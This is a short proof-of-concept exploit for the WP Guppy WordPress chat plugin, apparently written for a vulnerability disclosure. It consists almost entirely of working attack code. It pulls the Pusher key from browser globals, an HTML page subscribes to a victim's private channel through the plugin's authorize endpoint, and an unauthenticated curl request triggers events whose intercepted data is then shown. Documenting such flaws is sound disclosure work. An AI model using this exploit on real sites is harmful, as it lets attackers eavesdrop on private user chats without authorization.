Exploit: Unauthorized Pusher Channel Subscription (Eavesdropping)
1) Obtain Pusher credentials (from browser console)
console.log(
window.wpguppy_scripts_vars.pusherKey,
window.wpguppy_scripts_vars.pusherCluster
);
2) Subscribe to a victim’s private channel
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Pusher Eavesdrop Test</title>
<script src="https://js.pusher.com/7.4/pusher.min.js"></script>
</head>
<body>
<h1>Listening on private-user-5</h1>
<pre id="log"></pre>
<script>
const log = msg => {
const p = document.createElement('div');
p.textContent = msg;
document.getElementById('log').appendChild(p);
};
const pusher = new Pusher("PUSHER_KEY", {
cluster: "PUSHER_CLUSTER",
authEndpoint: "http://localhost/wordpress/wp-json/guppylite/v2/channel-authorize"
});
const channel = pusher.subscribe("private-user-5");
channel.bind_global((event, data) => {
log(`Event: ${event} → ${JSON.stringify(data)}`);
});
pusher.connection.bind('error', err => {
log(`Pusher error: ${err.error ? err.error.data : err}`);
});
log("Waiting for events...");
</script>
</body>
</html>
3) Trigger an event (unauthenticated)
curl -i -X POST "http://localhost/wordpress/?rest_route=/guppylite/v2/user-typing" \
-H "Content-Type: application/json" \
-d '{
"chatId": "5_1",
"chatType": 1,
"text": "typing...",
"userName": "Alice",
"senderId": 5
}'
4) Observe intercepted data
Event: isTyping → {
"chatId":"5_1",
"chatType":1,
"text":"typing...",
"userName":"Alice",
"senderId":5
}